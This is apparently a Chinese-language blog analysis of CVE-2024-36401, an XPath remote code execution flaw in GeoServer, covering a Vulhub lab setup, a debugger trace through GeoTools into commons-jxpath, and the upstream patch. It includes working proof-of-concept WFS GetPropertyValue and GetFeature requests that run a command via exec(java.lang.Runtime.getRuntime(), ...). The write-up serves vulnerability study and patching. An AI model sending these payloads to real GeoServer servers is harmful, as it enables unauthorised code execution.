CVE-2024-36401 GeoServer XPath rce
CVE-2024-36401 GeoServer XPath rce
前言
GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。
漏洞描述
该系统不安全地将属性名称解析为 XPath 表达式。GeoServer 调用的 GeoTools 库 API 以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库。该库在解析 XPath 表达式时,可以执行任意代码。影响范围:GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
环境搭建
代码可以直接去github下载,自己编译运行:https://github.com/geoserver/geoserver/
或在Vulhub下载对应的docker-compose.yml
version: '3'
services:
web:
image: vulhub/geoserver:2.23.2
ports:
- "8080:8080"
- "5005:5005"
建议用Vulhub的环境,方便快捷
漏洞复现
发送下面请求:
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"touch /tmp/pwn111")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
报错是正常的,执行结果如下:
漏洞分析
当我写这篇文章时,该漏洞的复现文章和POC已经传遍全网,在此简单的复现没有什么意义,不如分析一下,知其来龙去脉,岂不妙哉
首先分析官方通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
主要看这两段话:
Details
The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to ALL GeoServer instances.
PoC
No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
对应翻译:
详情
GeoServer调用的GeoTools库API在评估要素类型的特征/属性名称时,以一种不安全的方式传递给commons-jxpath库,该库在评估XPath表达式时可以执行任意代码。这种XPath评估本意仅用于复杂要素类型(即,应用程序模式数据存储),但错误地也被应用于简单要素类型,这使得这个漏洞适用于所有GeoServer实例。
PoC
没有提供公开的PoC,但这个漏洞已被确认可以通过WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic和WPS Execute请求来利用。
总的来说是GeoTools库
的问题,这个库用的xpath引擎是Apache Commons Jxpath,参考CVE-2022-41852 ,
再看GeoTools的漏洞通告:https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
以下方法将 XPath 表达式传递给commons-jxpath库,该库可以执行任意代码,如果 XPath 表达式由用户输入提供,则会造成安全问题。
org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<T>)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)
org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {...}.get(Object, String, Class<T>)
org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)
在此,我们相当于得到了Sinks , 而source在GeoServer的漏洞通告的POC已经提示了几个接口WFS GetFeature
、WFS GetPropertyValue
、WMS GetMap
、WMS GetFeatureInfo
、WMS GetLegendGraphic
和WPS Execute
GetPropertyValue
去官方找这几个接口的用例,以网传使用的WFS GetPropertyValue
接口为例,
如图所示,GetPropertyValue
的作用是从查询所标识的给定要素集的数据源中检索要素属性的值或复杂要素属性值的部分,其中valueReference
是要检索不同属性的值,猜测这里是注入的地方,注意的是typeName的值必须是存在的类型,不能乱填
在上面提到的sinks下断点,输入url查看停到哪个断点上
http://192.168.79.147:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=ssssss
发现断点在org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get()
方法上,此时的xpath参数的值正是valueReference
的值,说明这里是注入点
根据调用栈,往前看,从org.geoserver.wfs.GetPropertyValue
的run方法开始
run方法获取请求对象,然后就是各种解析,其中发现这里会把valueReference的值进行一个正则匹配,将[]中的内容和[]替换为空
跟进evaluate()方法查看
继续跟进
在这个evaluate()方法里,调用了一个get方法,accessor是FeaturePropertyAccessor的实例。如果分析漏洞是时候是搜索所有FeaturePropertyAccessor的引用,根本没办法搜到,CodeQL这类静态分析工具来分析漏洞时就可能会错过
回到get方法
这里先获取context,然后调用iteratePointers
方法,
跟进this.compileExpression
对传入的xpath进行编译,如果前面编译过了,这里直接返回
往下就来到了org.apache.commons.jxpath.ri.compiler.Expression
这个类的iteratePointers
方法
这个会根据刚刚编译返回的对象,跳转到对应的compute方法
因为传入的valueReference=sssss
,会跳转到org.apache.commons.jxpath.ri.compiler.LocationPath
的compute方法
如果传入的valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/pwn')
(payload来源为https://tttang.com/archive/1771/)
则跳转到org.apache.commons.jxpath.ri.compiler.ExtensionFunction的compute
继续跟进,来到computeValue
这里获得了org.apache.commons.jxpath.Function对应的这个实例后,回去调用具体的invoke的实现
运行结果
根据官网教程,还可以使用POST请求
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 ldwk
Accept: */*Accept-Language: en-US,en;q=0.5Content-Length: 329
<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'valueReference='exec(java.lang.Runtime.getRuntime(),"touch /tmp/pwn")'><wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
GetFeature
同理进行测试,得到传入的参数是propertyName
http://192.168.79.147:8080/geoserver/wfs?service=wfs&version=2.0.0&request=GetFeature&typeNames=topp:states&featureID=feature&propertyName=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pwn2')
经过调试发现,payload被逗号分割,传入的xpath变成了exec(java.lang.Runtime.getRuntime()
,需要换个payload
漏洞修复
GeoServer官方给出的修复方案是更新最新版或者下载补丁包括已修复的 gt-app-schema、gt-complex 和 gt-xsd-core jar 文件,似乎只是更新了geotools的依赖
而geotools官方给出的修复是修改对XPath 表达式的处理:https://github.com/geotools/geotools/commit/fa187593abd5784d4338e7b5fff97eb47ce60b78
前面提到的Sinks添加了安全检查newSafeContext
,例如FeaturePropertyAccessorFactory类的get方法
org.geotools.xsd.impl.jxpath.JXPathUtils是新添加的一个类,禁止通过 XPath 表达式调用 Java 方法
参考
https://tttang.com/archive/1771/
https://github.com/geoserver/geoserver/blob/2.23.2/doc/en/user/source/services/wfs/reference.rst
https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv